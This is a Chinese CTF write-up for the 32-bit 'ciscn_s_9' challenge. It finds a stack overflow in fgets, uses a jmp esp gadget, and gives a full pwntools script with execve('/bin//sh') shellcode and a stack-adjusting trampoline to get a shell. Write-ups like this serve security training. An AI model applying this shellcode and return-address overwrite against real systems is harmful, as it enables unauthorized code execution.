下载附件,file
一下,是32bit程序;
checksec
一下;
基本没保护措施;
IDA里分析一波;
main()
跳到pwn()
;
看看pwn()
的内容;
看到fgets
立马想到栈溢出;
又注意到有一个hint()
函数;
其内容如下:
这里直接跳到了$esp
,$esp
是在堆栈上的;
既然有栈溢出,栈可执行,又有一个跳转到$esp
的函数,思路就很清晰了;
我们先利用栈溢出,覆盖pwn()函数的返回地址为jmp esp
的地址,然后我们再使得$esp
指向shellcode所在的地址,完美!
但是因为shellcode太长了,无法将返回地址赋值为jmp esp
的地址;
那还是自己构造个系统调用来弹shell吧;
# coding=utf-8
from pwn import *
p = process("./ciscn_s_9")
ret_addr = 0x08048554 #jmp esp
shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80
'''
shellcode=asm(shellcode)
payload = shellcode.ljust(0x24,'a') + p32(ret_addr) + asm("sub esp,40;call esp")
print(len(payload))
#gdb.attach(p)
p.sendline(payload)
p.interactive()
由于$esp
的位置被挤到了距离shellcode
开始位置40bytes
后的地方,因此我们手动减掉40bytes
,再主动调用;
这样$esp
就能指向我们的shellcode
,从而运行shellcode
,最终弹shell;
连上buuoj,拿flag;